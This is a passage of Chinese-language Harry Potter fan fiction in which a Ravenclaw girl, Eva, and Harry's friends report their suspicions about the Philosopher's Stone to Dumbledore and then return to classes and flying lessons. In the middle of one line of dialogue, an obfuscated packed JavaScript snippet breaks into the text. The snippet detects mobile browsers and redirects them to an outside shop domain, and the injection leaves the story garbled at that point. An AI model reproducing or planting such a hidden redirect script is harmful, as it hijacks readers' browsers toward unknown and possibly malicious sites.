“包括,”哈利点头,“海格是为了我们好,但事情已经到了这一步,瞒着没用。” Eva点点头。该做的事,做就是了。告诉教授,让大人处理。这是最对的路。 “好,”她说,“明天一起去。” 他们在门厅分开。Eva和曼蒂回拉文克劳塔楼,哈利他们回格兰芬多。 鹰形门环今晚的问题是:“什么东西知道得越多,负担越重?” “真相。”Eva说。 门开了。公共休息室里温暖明亮,壁炉里的火烧得正旺。秋·张看见她们进来,抬头笑了笑。 “回来啦?海格请你们吃什么了?” “岩皮饼,”曼蒂做了个鬼脸,“还有很苦的茶。” “还有……一些沉重的话。”Eva在心里默默补了一句。 她坐在窗边,翻开爷爷的笔记。今天没看静心口诀,而是翻到了后面一页——那里有爷爷用细毛笔写的一行小字: “知者不惑,勇者不惧。路见不平,当告长者。” 她盯着这行字看了很久。 知者不惑——知道了,就不迷惑。 勇者不惧——该做的,就不怕。 路见不平,当告长者——看到不对的事,要告诉大人。 明天就去告诉。 她合上笔记,看向窗外。夜色完全降临了,城堡的灯火在黑暗里温暖地亮着。 该做的事,做就是了。 一步一步来。 窗外的风还在吹,但塔楼里很暖。 很安全。 18. 石阶上的沉默 星期一的早晨,空气里有股不一样的味道。 不是早餐的烤面包香,也不是城堡石头被露水打湿后的潮气。是那种……事情要发生之前,闷闷的、沉甸甸的感觉。Eva起床时,看见窗外的天还是灰蓝色的,云压得很低,好像随时要下雨。 她换上校服长袍,系扣子的时候手指有点抖——不是因为冷,是因为紧张。素雪在笼子里歪着头看她,琥珀色的眼睛里映着晨光。 曼蒂也醒了,坐在床边发呆。往常她总会说点什么——“今天有魔药课”“昨天的变形术作业还没写完”“食堂会不会有蓝莓馅饼”。但今天她只是坐着,手指绞在一起。 “走吧,”Eva轻声说,“该吃早饭了。” 她们下楼时,公共休息室里已经有人了。几个高年级学生围在壁炉边,压低声音讨论着什么。Eva听见“四楼”“巡逻”“昨晚”几个词飘过来,赶紧拉着曼蒂快步走过。 鹰形门环今天的声音带着清晨的清醒:“何物今日为始,明日为终?” “一天。”一个六年级女生疲倦地答道。 门开了。她们走进走廊,脚步声在空荡荡的石廊里回响。快到礼堂时,迎面撞上了哈利、罗恩和赫敏。三个人的脸色都不太好,哈利眼睛下面的阴影更重了,罗恩头发乱糟糟的,赫敏紧紧抿着嘴唇。 “早。”哈利说,声音有点哑。 “早。”Eva应了一声。五个人默默地一起走向礼堂。 早餐的礼堂还是那么热闹,说话声、餐具碰撞声嗡嗡响成一片。但Eva觉得这些声音好像隔着一层玻璃,听不真切。她在拉文克劳长桌坐下,拿起一片烤面包,机械地涂上黄油。 她看见格兰芬多长桌那边,哈利几乎没吃东西,只是把麦片粥在碗里搅来搅去。罗恩倒是往嘴里塞了好几片熏肉,但吃得心不在焉,差点把叉子戳到鼻子上。赫敏在翻一本厚书,但Eva注意到她一页都没翻过去。 教师席上,邓布利多教授正和麦格教授说话,表情很严肃。斯内普教授坐在最边上,黑眼睛扫视着礼堂,目光像冰冷的探照灯。奇洛教授缩在椅子里,头巾裹得严严实实,只露出一双惊慌的眼睛。 一切看起来都和平常一样,但Eva知道不一样了。有些事情已经被说破了,像打破了的鸡蛋,粘糊糊地摊在那里,收不回去了。 第一节课是变形术。麦格教授走进教室时,袍子带起一阵风。她的表情比平时更严厉,目光扫过全班,在哈利身上停了一下。 “把上周的棋子拿出来,”她的声音像敲小锤子,笃笃的,“我要检查是否维持了至少一周的形态。” 学生们纷纷从书包里掏出自己的棋子。Eva拿出她那枚蓝色的骑士——整整七天了,它还是完整的,马头微侧,青铜色的纹路清晰可见。只是颜色好像淡了一点点,不仔细看看不出来。 麦格教授挨个检查。赫敏的棋子完美无缺,加了十分。哈利的棋子边缘有点模糊,但总体保持完好,加了七分。罗恩的棋子……长出了一条细小的石头尾巴,麦格教授让他课后重做。 轮到Eva时,麦格教授拿起棋子仔细看了很久。 “完整的形态维持,”她最后说,语气里有一丝赞许,“质地均匀,没有明显退化迹象。拉文克劳加十分。” Eva松了口气。十分——离补上那五十分又近了一步。但现在她脑子里想的不是分数。 下课时,麦格教授叫住了哈利。 “波特先生,请留一下。” 哈利的脸白了。罗恩和赫敏担忧地看着他,但他只是点点头,让朋友们先走。 Eva和曼蒂走出教室,在走廊里等。大概五分钟后,哈利出来了,脸色比进去时更白。 “她问我……是不是有什么事想告诉她,”哈利低声说,绿眼睛里满是困惑,“她说邓布利多教授今早特别交代,如果有任何……异常的感觉,随时可以去办公室找他。” “那你说了吗?”罗恩急切地问。 哈利摇摇头:“没……还没。我想等我们一起去。” 第二节课是魔咒课,但大家都心不在焉。弗立维教授今天教“飘浮咒”的精准控制——让一根羽毛在指定的几个点之间移动。Eva试了几次,羽毛要么飞得太高,要么根本不动。她的心思飘到了别处:邓布利多教授为什么要特别交代?他知道什么?他是不是也在等他们去说? 午饭时,五个人几乎没怎么说话。Eva小口喝着南瓜汁,眼睛盯着教师席。邓布利多教授正在和斯普劳特教授说话,脸上带着温和的笑,但Eva觉得那笑容底下藏着什么东西——像平静湖面下的暗流。 饭后,他们在门厅碰头。 “现在就去?”罗恩问,声音有点抖。 “现在就去。”哈利说,绿眼睛里闪着坚定的光。 校长办公室在八楼。他们走上旋转楼梯时,脚步声在古老的石阶上回响,嗒,嗒,嗒,像心跳。石阶是石头的,边缘被无数脚步磨得光滑发亮。 石兽所在的那个小平台空无一人。巨大的石兽蹲在那里,闭着眼睛,像是在打瞌睡。 “口令……”赫敏小声说,“这周的口令是什么?” “柠檬雪宝,”哈利说,“费尔奇的公告板上还是这个。” 他深吸一口气,对着石兽清晰地说:“柠檬雪宝。” 石兽的眼睛突然睁开了。它跳到一边,身后的墙壁旋转着打开,露出一道螺旋上升的石阶。 “上去吧。”石兽用低沉的声音说,然后又闭上眼睛。 他们走上石阶。石阶是石头的,和城堡里其他楼梯一样,在昏暗光线里泛着灰白色的光。墙上挂满了肖像,里面的老巫师们好奇地看着他们,窃窃私语。 “看,是波特……” “还有那几个孩子……” “邓布利多今天上午就在等他们……” 肖像的议论声让哈利的脸更白了。Eva低下头,手指无意识地摸着袖口里的玉佩。 办公室的门虚掩着。哈利轻轻敲了敲。 “请进。”邓布利多教授的声音从里面传来,温和而清晰。 他们推门进去。办公室比Eva想象的要大,也更有趣。墙上挂满了会动的肖像,有些在打鼾,有些好奇地看着他们。细长腿的桌子上摆满了各种银器,旋转着喷出细细的烟雾。墙角栖着一只鲜红色的大鸟,正用喙梳理着羽毛——那是凤凰福克斯。 邓布利多教授坐在桌子后面,半月形眼镜后的蓝眼睛温和地看着他们。他没有表现出惊讶,好像早就知道他们会来。 “啊,哈利,”他说,“还有你的朋友们。请坐。” 办公室里有几把舒适的扶手椅。五个人小心翼翼地坐下,椅子比看起来更柔软,几乎要把人陷进去。 “我想你们来,是为了最近的一些……困扰。”邓布利多教授双手交叉放在桌上,目光平静地扫过每个人的脸。 哈利点点头,深吸一口气:“教授,我们……我们把一些事情拼起来了。古灵阁的金库,海格取走的东西,四楼的三头犬,还有我的疤……”他顿了顿,声音有些发紧,“我们觉得……有人想偷尼可·勒梅的东西。” 他说出“尼可·勒梅”时,邓布利多教授的眉毛微微抬了一下,但很快又恢复了平静。 “啊,尼可·勒梅。”邓布利多教授的声音依然温和,“一位杰出的炼金术士,活了六百六十五岁,上个月刚和他的妻子佩雷纳尔庆祝了生日。但我记得他们在法国过得很好。你们怎么会担心起远在法国的老先生呢?” 哈利愣住了,显然没料到会是这样的回答。罗恩和赫敏交换了一个困惑的眼神。 “可是教授,”哈利坚持道,“海格从古灵阁取走的东西——” “鲁伯·海格作为霍格沃茨的猎场看守,偶尔需要为学校处理一些事务,”邓布利多教授平静地打断他,“这些事务有时会涉及古灵阁,就像我们所有人都会去银行一样平常。” 他顿了顿,蓝眼睛在半月形眼镜后闪着温和的光:“有时候,城堡里的古老传说会让年轻的心灵产生各种想象。我建议你们把精力放在即将到来的期末考试上。麦格教授告诉我,一年级的变形术期末考会相当有挑战性。” 办公室里安静了几秒。Eva看着邓布利多教授——他说话的语气那么轻松,好像在聊下午茶该吃什么点心。但她注意到,他放在桌上的手指轻轻敲了一下桌面,很轻,几乎看不见。 “那我的疤呢?”哈利忍不住问,声音里带着急切,“它靠近四楼时会疼,而且我做了些梦……关于绿光,关于尖叫声……” 邓布利多教授的表情变得柔和了些。“哈利,疤痕是我们经历的见证者。”他缓缓地说,“你的疤痕提醒你曾经活下来,这是值得珍惜的。至于疼痛……庞弗雷夫人告诉我她在给你配药,那些药水会有帮助的。” 他站起身,走到一个细长腿的银色仪器旁。仪器正在喷出小小的烟雾,烟雾在空中组成奇怪的形状。 “你知道吗,”邓布利多教授背对着他们说,“霍格沃茨有很多古老的魔法在运作。有些会让人做奇怪的梦,有些会让伤疤偶尔发痒或疼痛。这些都是正常的。” 他转过身,蓝眼睛看着哈利:“你操的心太多了。把这些问题留给我们这些老教授吧。你应该睡觉,不要再为尼可·勒梅担心了。” 赫敏突然开口,声音很轻但清晰:“教授,可是四楼禁区——” “四楼右边走廊禁止学生进入,”邓布利多教授的语调依然温和,但多了一丝不容置疑,“这是为了你们的安全。城堡有些地方年代久远,结构可能不稳定。让费尔奇先生和教授们处理这些事就好。” 他走回座位,坐下来,双手交叉放在桌上:“现在,回去享受下午茶吧。厨房的家养小精灵今天烤了新的姜饼,我听说加了特别的香料。” Eva看着邓布利多教授温和的脸,想起上次在这里,校长也是用这样令人安心的语气,却给出了不容商量的禁令。 这是明显的送客信号。五个人慢慢站起来。 “记住,”邓布利多教授在他们走到门口时说,“霍格沃茨有教授们在守护,学生们只需要专心学习和成长。等你明天到了这里,就会觉得这一切都很荒唐了。” 办公室的门在他们身后轻轻关上。 石阶比上去时感觉更长。肖像们还在窃窃私语,但声音压得很低,听不清在说什么。走到平台时,石兽已经回到原位,眼睛又闭上了。 他们默默走下楼梯。在六楼和七楼之间的楼梯平台上,哈利突然停下脚步。 “他什么也没说,”哈利的声音里满是困惑和失望,“他……他在回避。” 罗恩挠挠头:“但他也没否认啊。他说‘你操的心太多了’,这意思不就是……” “意思就是让我们别管了,”赫敏咬着嘴唇,“但他特别提到尼可·勒梅的生日……还有‘古老的魔法在运作’……他好像在告诉我们什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980634|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,又好像什么都没说。” Eva安静地听着。她想起邓布利多教授说话时的样子——那么温和,那么平静,但每句话都像有另一层意思。他说“把这些问题留给我们这些老教授”,那是不是意味着教授们确实知道什么?他说“霍格沃茨有教授们在守护”,那是不是说他们已经在处理了? 就在这时—— 咔哒。 很轻的声音,像是门锁转动。 接着是脚步声——很轻,很快,从楼上传来,正在往下走。 五个人对视一眼,迅速躲到楼梯平台角落的一个大石像后面。石像是个戴着头盔的骑士,手中的长矛指向空中,正好能挡住他们。 脚步声越来越近。Eva从石像头盔的缝隙往外看—— 是斯内普教授。 他黑袍翻飞地走下楼梯,脸色比平时更阴沉,嘴唇紧紧抿成一条线。他走得很快,但在经过他们躲藏的石像时,突然停下脚步。 斯内普教授转过身,黑眼睛扫视着楼梯平台。那双眼睛深得像井,Eva屏住呼吸,能感觉到自己的心跳在耳朵里咚咚作响。 他看了几秒,然后——目光落在了Eva的方向。 不是真的看见他们,更像是感觉到了什么。他的眉头微微皱起,像是在思考。 就在这时,楼上又传来脚步声。这次更重,更慢。 斯内普教授立刻转身,黑袍像蝙蝠翅膀一样翻飞,快步走下了楼梯。几秒钟后,他的脚步声消失在下一层。 新来的脚步声近了。是费尔奇,拖着洛丽丝夫人,嘴里嘀嘀咕咕:“……又溜到哪里去了……这些该死的学生……” 他从另一边的楼梯下去了。 石像后面,五个人同时松了口气。罗恩的腿一软,差点坐在地上。 “梅林啊……”他小声说,“斯内普刚才是不是……” “他感觉到我们了,”哈利低声说,绿眼睛里闪着不安,“但他没揭穿。” 赫敏咬着嘴唇:“他在校长办公室附近做什么?这个时间他应该在魔药教室准备下午的课。” Eva没说话。她想起刚才斯内普教授那个眼神——那双黑眼睛里有什么东西闪过,不是愤怒,不是惊讶,更像是一种……确认。确认他们在那里,确认他们刚从邓布利多办公室出来。 还有他停在石像前的那个动作。他是真的感觉到了什么,还是……在给他们时间藏好? 这些问题像一团乱麻,理不出头绪。 “不管怎样,”哈利深吸一口气,“邓布利多教授让我们别管了。那……那我们就别管了。” 他说这话时,声音里还有不甘心,但更多的是疲惫。一个十一岁的孩子,带着那样的疤痕,做那样的梦,现在又被温和地告知“别操心”——Eva能感觉到他心里的挣扎。 他们快速离开楼梯间。在五楼拐角分开时,哈利看着Eva和曼蒂:“谢谢你们……陪我去。” “应该的。”曼蒂小声说。 Eva点点头。她看着哈利,看着他绿眼睛里还残留的恐惧和困惑,心里那股“炁”轻轻动了一下。 爷爷说过,朋友就是在你需要的时候,站在你旁边的人。 她现在明白了。不是要做什么惊天动地的事,不是要当英雄。就是——在朋友害怕的时候,陪在旁边。在朋友困惑的时候,一起想办法。在朋友需要有人相信他的时候,说一句“我信你”。 这就够了。 回到拉文克劳塔楼时,鹰形门环的问题是:“什么东西越分享,越不会减少?” “勇气。”Eva说。 门开了。公共休息室里,壁炉的火烧得正旺,几个学生在讨论天文学的作业。秋·张看见她们进来,抬头笑了笑。 “回来啦?今天下午没课,要不要一起下巫师棋?” “好,”Eva说,“等我放一下书包。” 她走上旋转楼梯,回到宿舍。素雪从窗台飞过来,落在她肩上,轻轻叫了一声。 Eva放下书包,拿出爷爷的笔记。今天没看静心口诀,而是翻到了中间一页——那里有爷爷用细毛笔写的一行小字: “友者,同气连枝也。枝虽不同根,遇风雨则相扶。” 她盯着这行字看了很久。 同气连枝——虽然不是同一个根,但遇到风雨的时候,会互相扶持。 她现在懂了。哈利、罗恩、赫敏、曼蒂——他们不是她的亲人,不是她的同胞。但他们是在这个陌生地方,和她一起经历风雨的人。 枝虽不同根,遇风雨则相扶。 窗外,雨开始下了。细细密密的雨丝,打在窗玻璃上,沙沙的响。 Eva合上笔记,走下楼。秋已经摆好了棋盘,棋子们在棋盘上不耐烦地跺脚。 “今天让你先走。”秋笑着说。 Eva在棋盘前坐下,手指轻轻碰了碰一枚骑士棋子。棋子抬起头看她:“快点,女士,战争不等人!” 她笑了,移动了第一步。 棋盘上,两支军队开始交锋。棋子们互相叫骂,城堡横冲直撞,王后大杀四方。 窗外雨声淅沥,室内炉火温暖。 明天还有课,还有作业,还有生活要继续。 但此刻,她只需要——下好这盘棋,陪朋友说说话,做好今天该做的事。 一步一步来。 一天一天过。 这就够了。 这就很好了。 19. 又见飞行课 三月的风软了,吹在脸上像小猫的毛,痒痒的。城堡外的草地绿得透亮,黑湖的水在阳光下闪着细碎的银光。又到了周四上午,一周一次的飞行课。 Eva和曼蒂跟着拉文克劳的队伍走向草坪时,远远就看见了斯莱特林的绿袍子——这周他们和拉文克劳一起上课。德拉科·马尔福走在队伍前面,淡金色的头发在阳光下亮得刺眼,正侧头和克拉布说着什么,嘴角挂着那种惯常的、漫不经心的笑。 草地已经被踩实了,露出褐色的泥土。二十把飞天扫帚排成两行,看起来比上学期新了一点——大概是被之前的纳威事故吓到后,霍琦夫人换了一批。 “好了,老规矩!”霍琦夫人的声音还是那么洪亮,灰白头发在脑后扎得紧紧的,“各自找到扫帚!今天练习低空盘旋和急停——期末考试要考的!上扫帚前记得唤醒!” Eva走到一把扫帚前。这把不是上学期用的那把了,柄上少了那道深深的划痕,但尾枝依然稀疏。她伸出右手,放在扫帚上方。 “起来。”她说,声音很轻。 扫帚轻轻一震,温顺地升入她掌心。她握紧木柄,粗糙的触感传来。公共扫帚就是这样——每次都得重新唤醒,不会认得谁是谁。 她看了看周围。曼蒂的扫帚也起来了,但有点抖。“起来……起来!”曼蒂小声念着,扫帚才不情愿地跳起来。 几个拉文克劳同学还在努力——丽莎的扫帚在地上滚来滚去,帕德玛的勉强起来了,但歪歪斜斜的。 斯莱特林那边,马尔福的扫帚几乎在他开口的瞬间就跳了起来,动作流畅得像练习过千百遍。“起来。”他懒洋洋地说,扫帚听话地入掌。他随意地握着扫帚,灰眼睛扫过拉文克劳队伍,在Eva脸上停留了一瞬,嘴角勾起一个轻微的弧度。 克拉布和高尔的扫帚也听话地起来了,但两人笨拙地握着,像握着两根烧火棍。 “上扫帚!”霍琦夫人吹响银哨。 Eva跨上扫帚,脚一蹬地——扫帚稳稳升空,离地五英尺,停住。风吹起她的头发,袍子下摆轻轻飘动。她已经习惯了这种感觉。 “保持高度!”霍琦夫人在下面喊,“身体前倾!重心压低!戴维斯,你往后仰了!想摔下来吗?” Eva调整了一下姿势。半年的飞行课,她已经掌握了基本技巧。 “现在,听我口令!”霍琦夫人举起手,“缓慢下降——三、二、一!” 二十把扫帚同时缓缓下降,离地一英尺时停住。 “好!现在原地盘旋,保持稳定!” 扫帚们开始在空中微微转圈。Eva的扫帚转得很稳。她看见曼蒂的扫帚有点晃,赶紧用眼神示意——曼蒂看见她,深吸一口气,稳住了。 “斯莱特林加五分!”霍琦夫人突然说,“马尔福先生的盘旋控制非常精准!” 马尔福脸上露出得意的笑,扫帚在他身下转出一个完美的圆形。 “拉文克劳也加五分!”霍琦夫人看向Eva,“张小姐不仅自己控制得好,还注意到了同学的状况。学院之间互相帮助,这很好!” Eva脸有点热,低下头。她能感觉到马尔福的目光又扫过来。 练习了大概半小时,霍琦夫人让他们降落休息。Eva的腿有点酸——盘旋比看起来累多了。 “你刚才真稳,”曼蒂小声说,揉着发酸的手腕,“我总怕掉下来。” “多练就好了。”Eva说。 休息时,学生们三三两两地坐在草地上。拉文克劳和斯莱特林自然地分成了两堆。Eva看见马尔福正和几个斯莱特林男生说话,边说边往拉文克劳这边瞥。 突然,一个斯莱特林一年级男生——Eva记得他叫布雷斯·扎比尼,黑发黑眼,长得挺秀气,但总带着一种疏离的表情——站了起来,手里拿着一个亮晶晶的东西。是个水晶球,魔法玩具店卖的那种便宜货,据说能根据心情变色。现在它是淡淡的蓝色。 “无聊的课,”扎比尼的声音不高不低,刚好能让周围人听见,“还不如玩这个。据说它能变颜色——如果你盯着它想特别强烈的事。” 他拿着水晶球,慢悠悠地走向拉文克劳这边。球还是蓝色的。 “看来拉文克劳都很‘平静’嘛,”扎比尼假笑,“智慧学院,当然平静了。” 几个斯莱特林学生笑起来。马尔福抱着手臂站在后面,没笑,但也没阻止。 扎比尼走到Eva面前,停住了。他低下头,看着手里的水晶球——还是蓝色。 “哦?连张小姐也这么平静?”他拖长声音,“真让人失望。我还以为会有什么……特别的反应呢。” Eva抬起头,看着扎比尼。他比她高一点,眼睛很黑,看不出情绪。 “让开。”她说,声音很平静。 “让开?”扎比尼挑了挑眉,“我在做实验呢。检测情绪波动。” 他把水晶球凑得更近。Eva能看见球面上映出自己模糊的影子,还有里面那团蓝色的、缓慢流动的雾。水晶球还是蓝色,没变。 “看,蓝色,”扎比尼说,“平静,理智,无聊。”他把球收起来,“没意思。” 他转身走回斯莱特林那边。水晶球在他口袋里,隔着袍子能看到一点点微弱的蓝光,但没变化。 霍琦夫人注意到了这边的动静,大步走过来:“扎比尼!把玩具收起来!飞行课不是让你玩这个的!” “已经收起来了,教授。”扎比尼懒洋洋地说。 “斯莱特林扣三分!”霍琦夫人严厉地说,“现在,所有人,上扫帚!练习急停!” 学生们纷纷跨上扫帚。Eva握住扫帚柄时,感觉到一道目光——她抬起头,正好对上马尔福的眼睛。他还在看她,灰眼睛里没了刚才的漫不经心,多了点审视。但很快移开视线,上了扫帚。 接下来的练习,Eva全神贯注。急停需要集中精神。 起飞,加速,在霍琦夫人挥旗的瞬间—— 急停。 扫帚稳稳地悬在空中,离标志线只差几英寸。完美。 “好!”霍琦夫人点头,“这次对了!记住这个感觉!” Eva松了口气。她看向斯莱特林那边——马尔福刚刚也完成了一个漂亮的急停,扫帚纹丝不动。他看向她,嘴角又勾起那个轻微的弧度。 下课铃响了。学生们降落,把扫帚放回原处。 “下周学习高速转向!”霍琦夫人宣布,“现在,解散!” 队伍往城堡走。拉文克劳和斯莱特林还是分成两拨。Eva走在拉文克劳队伍中间,能听见后面斯莱特林学生的议论声。 走到城堡门口时,一个声音从旁边传来: “张。” Eva转过头。马尔福从斯莱特林队伍里走出来,几步就走到她面前。克拉布和高尔像两座小山般跟在他身后。 曼蒂紧张地抓住Eva的袖子。几个拉文克劳学生也停了下来,警惕地看着。 马尔福没理会其他人,灰眼睛盯着Eva,嘴角挂着那种惯常的、带着讥诮的弧度:“刚才……表现不错嘛。没哭鼻子,也没跑去告状。” 他的语气还是那种拖长的、漫不经心的调子,但少了点平时的尖锐。 “不然呢?”Eva问,声音很平静。 马尔福挑了挑眉,似乎对她的平静有些意外——或者说,有些不满。他更喜欢看人恼羞成怒的样子。 “一般人会生气,”他说,灰眼睛上下打量着她,“会反驳。会急着证明自己不是好惹的。”他顿了顿,声音压低了些,“但你没有。是太能忍呢,还是……根本不在乎?” 这话里带着试探。Eva能感觉到。 “生气没用。”她简单地说。 马尔福盯着她看了几秒,然后从鼻子里哼出一声轻笑——不是友好的笑,更像是在嘲笑某种他不理解的东西。 “随你吧。”他耸耸肩,转身要走,但又停下,回头补充了一句,语气恢复了那种典型的马尔福式的刻薄,“不过下次急停记得再稳点。刚才那个……勉强及格吧。当然,比起我的还是差远了。” 说完,他带着克拉布和高尔大步走进了城堡,绿袍子在门口一晃就消失了。 拉文克劳的学生们往塔楼走。快到三楼时,曼蒂突然说:“哎呀,我把变形术课本忘在图书馆了!” Eva停下来说,“我陪你去拿吧,顺便借点书。” “那我们先回去了,飞行课上完有点累。”帕德玛和丽莎挥手,继续往塔楼走。Eva跟着曼蒂折返,走向图书馆方向。 刚走到二楼图书馆附近的长廊,就看见哈利、罗恩和赫敏从图书馆大门冲出来,怀里抱着厚厚一摞书,脸上是压不住的兴奋。哈利走在最前面,看见Eva和曼蒂,眼睛一下子亮了起来,快步走过来。 “Eva!曼蒂!”他的声音压得很低,但语速很快,“我们查到了!我们知道四楼那个是什么了!” 罗恩兴奋得脸都红了,几乎要跳起来:“尼可·勒梅!我们终于查到尼可·勒梅是谁了!” 赫敏怀里紧紧 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罗恩把声音压得更低,几乎只剩气音:“还能有谁?想想哈利的疤!想想谁最想……回来!” 空气好像突然变冷了。Eva感觉到腕上的玉佩温温的,和平常一样——现在没有黑暗力量靠近。但那个名字,不用说出来,大家都明白。 “我们得告诉教授,”赫敏说,语气坚决,“这次我们有具体线索了,不是猜测了!是书上的记载!” 哈利用力点头,他的目光又扫过Eva,那眼神里有种寻求认同的意味——好像她的看法很重要:“明天早餐后,我们打算再去校长办公室。这次……这次邓布利多教授必须认真听了。” “小心点。”Eva轻声说。 “我们会的,”哈利说,绿眼睛看着她,认真地点了点头,“你也是。最近……城堡里不太平。” 他们匆匆分开了,哈利三人抱着书快步走向格兰芬多塔楼,显然急着继续研究。Eva和曼蒂去图书馆拿了忘带的课本,然后沉默地走回拉文克劳塔楼。 路上,曼蒂突然小声说:“你有没有发现,哈利跟你说话的时候……有点不一样?” “不一样?”Eva问。 “嗯,”曼蒂想了想,“他看你的眼神……特别认真。跟看我和赫敏的时候不太一样。当然啦,他肯定没意识到。”她顿了顿,“不过也可能是我想多了。” Eva仔细想了想,没觉得有什么特别。哈利刚才确实很认真,但发现魔法石这么大的事,认真不是应该的吗? 鹰形门环今天的问题是:“什么东西越擦拭,越模糊?” “记忆。”一个五年级学生答道。 门开了。公共休息室里温暖明亮。秋·张正在窗边看书,看见她们进来,抬起头。 “飞行课怎么样?”她问。 “还行,”曼蒂说,瞥了Eva一眼,没提刚才遇到哈利的事,“就是斯莱特林那边有点烦人。” 秋听她们简单说了扎比尼的事,摇摇头:“别理他。扎比尼家就那样。”她顿了顿,压低声音,“对了,你们听说了吗?格兰芬多那边好像查到了什么大事,哈利·波特他们今天在图书馆泡了一整天,借了好多关于炼金术和古代魔文的书。” Eva和曼蒂交换了一个眼神,但没多说。 那天晚上,Eva躺在床上,脑子里转着今天的事。 水晶球没变——她确实平静。扎比尼的挑衅像小石子扔进深潭,咚一声,沉下去,没了。 马尔福的观察——他到底想看到什么?生气?失控?证明她“不一样”?但她只是她,张丽华,从中国来的女孩,在霍格沃茨上学。爷爷说过,站稳了,别人说什么都吹不倒你。 然后是和哈利他们的碰面。魔法石。长生不老。有人想偷——可能是那个连名字都不能提的人。 玉佩温温的,没反应。城堡现在还是安全的。 但她能感觉到,水面下的暗流在加速。拼图快拼完了,最后一块已经找到——魔法石。接下来会怎样? 爷爷说过,暴风雨来之前,总是最安静的。 她翻了个身,手指碰到枕头下的玉佩。温温的,稳稳的。 守中持正,静观其变。 一步一步来。 窗外的风轻轻吹过塔楼。 明天,哈利他们会去见邓布利多。 明天,也许会有答案。 也许,暴风雨真的要来了。 20. 球场上的光与禁林的影 第二天早饭时,空气里有种紧绷绷的感觉。 Eva走进礼堂时,先看了一眼格兰芬多长桌。哈利、罗恩和赫敏坐在一起,面前摆着盘子,但几乎没动。三个人头凑得很近,哈利说话时嘴唇几乎不动,赫敏边听边快速点头,罗恩的眼睛一直警惕地瞟着周围。 拉文克劳长桌这边,曼蒂小声对Eva说:“他们今天要去校长办公室吗?” “应该是。”Eva给自己盛了一碗燕麦粥。粥熬得稠稠的,冒着热气,但她没什么胃口。 她注意到教师席上,邓布利多教授正和麦格教授低声交谈。麦格教授的表情很严肃,不时点头。斯内普教授坐在最边上,黑眼睛像两潭深水,慢慢扫视着礼堂。奇洛教授还是缩在椅子里,头巾裹得严严实实,只露出一双惊慌的眼睛。 一切看起来都和平常一样,但Eva知道,有些事情已经不一样了。 第一节课是变形术。麦格教授走进教室时,袍子带起的风比平时更冷。她的脸色很不好,眼圈下面有淡淡的阴影,好像一夜没睡。 “今天学习把甲虫变成纽扣的稳定变形,”她的声音像敲小锤子,笃笃的,“期末考试会考这个。我希望每个人至少成功三次。” 教室里响起一阵低低的叹气声。甲虫比老鼠更难——它们更小,更灵活,更难控制。 Eva面前的小盒子里装着一只黑色甲虫,壳亮亮的,六条细腿在盒壁上乱爬。她小心地打开盒子,甲虫立刻想往外爬。她赶紧用魔杖按住它——不能太用力,会压死;不能太轻,会跑掉。 “集中精神,”麦格教授在教室里踱步,“想象纽扣的形状、质地、颜色。要具体。模糊的想象只会得到模糊的结果。” Eva深吸一口气。她想起爷爷笔记里关于“精准”的话——不是大概,是精确。她脑海中浮现出一枚深蓝色的纽扣,铜质的扣眼,边缘光滑。 “速速变形。” 魔杖尖涌出柔和的银光,包裹住甲虫。甲虫在光中开始改变——身体变扁,变圆,长出扣眼,颜色转为深蓝。最后“咔哒”一声轻响,一枚纽扣落在桌上。 但不够完美。扣眼有点歪,边缘不够光滑,颜色比想象的浅。 麦格教授走过来,拿起纽扣看了看。“成功变形,”她严肃地说,“但细节粗糙。扣眼偏移会影响实际使用。重做。” “是,教授。”Eva低声说。 她看向旁边——赫敏的纽扣几乎是完美的,深蓝色,扣眼端正,麦格教授给了她十分。哈利的纽扣也不错,只是边缘有点毛糙,加了七分。罗恩的甲虫变成了一只……会轻微抖动的纽扣,麦格教授让他重做。纳威的甲虫长出了纽扣的形状,但还有两条细腿在边缘乱动,他急得快哭了。 下课铃响了。学生们收拾东西离开时,Eva看见哈利、罗恩和赫敏匆匆走出教室——他们没等她。大概是要赶着去校长办公室。 午饭时,Eva没在礼堂看见他们。拉文克劳长桌这边,曼蒂小声说:“他们还没回来……” “可能在办公室谈得久。”Eva说,但心里也有点不安。 直到下午第一节魔咒课前,Eva在二楼走廊碰到哈利三人。他们刚从楼上下来,脸色都很复杂——不是兴奋,不是沮丧,是一种混合着困惑和疲惫的表情。 “怎么样?”曼蒂忍不住问。 哈利摇摇头,压低声音:“邓布利多教授……他承认了四楼有重要的东西,但让我们别管。他说教授们会处理。” “他给我们看了尼可·勒梅的照片,”赫敏补充道,眉头紧锁,“尼可和他的妻子在法国过得好好的。所以如果四楼真的是魔法石……至少现在尼可本人是安全的。” 罗恩挠挠头:“但教授也没否认那是魔法石。他只是说……让我们相信教授们。” Eva静静听着。这和她预料的差不多——温和的回避,善意的叮嘱。大人总是这样,觉得小孩子不该操心这些事。 “那我们现在怎么办?”曼蒂问。 哈利深吸一口气:“邓布利多教授让我们放手。那……我们就放手吧。” 他说这话时,声音里还有不甘心,但更多的是疲惫。一个十一岁的孩子,带着那样的疤痕,做那样的梦,现在又被温和地告知“别操心”——Eva能感觉到他心里的挣扎。 但接下来的几天,哈利似乎真的在试着放手。他按时上课,认真写作业,魁地奇训练一次不落。伍德高兴地说他“终于把心思放回球场上了”。 周末很快到了。这个星期六有一场重要的魁地奇比赛——格兰芬多对赫奇帕奇。早餐时,整个礼堂都弥漫着兴奋的气氛。格兰芬多长桌那边,伍德正在做最后的战术部署,哈利坐在他旁边,表情认真地点着头。 “你觉得谁会赢?”曼蒂小声问Eva,舀了一勺燕麦粥。 “不知道。”Eva说。她对魁地奇的了解不多,只知道哈利飞得很好。 秋·张坐在她们对面,正在翻看《预言家日报》的体育版。“格兰芬多胜算大些,”她分析道,“他们有哈利·波特这个找球手,光轮2000的速度优势很明显。但赫奇帕奇的找球手塞德里克·迪戈里也很出色——他是三年级,经验更丰富,虽然扫帚只是彗星260,但技术很扎实。” 